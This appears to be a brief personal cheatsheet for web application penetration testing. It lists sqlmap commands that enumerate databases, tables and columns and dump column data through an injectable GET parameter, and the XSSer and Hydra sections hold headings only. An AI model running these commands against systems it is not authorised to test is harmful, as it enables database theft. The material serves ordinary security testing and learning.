Web app pentest

cheatsheet for those tools m not familiar with (sorry m not covering all tools, most of em are easy)

sqlmap

Get request

  • to view databases

    • dont write --dbs at start for testing

sqlmap -u "$url/param?=something" --cookie "COOKIE" -p something --dbs
  • to view tables

sqlmap -u "$url/param?=something" --cookie "COOKIE" -p something \
-D DATABASE_NAME --tables
  • to view colums of that tables

sqlmap -u "$url/param?=something" --cookie "COOKIE" -p something \
-D DB_NAME -T TABLE_NAME --columns
  • to dump colums

sqlmap -u "$url/param?=something" --cookie "COOKIE" -p something \
-D DB_NAME -T TABLE_NAME -C col1,col2 --dump

Post request

  • save the response file from burp suite

XSSer

Get request

Post request

  • to scan

  • to scan for all possible vuln/injection payload

  • to try custom payload

Hydra

Last updated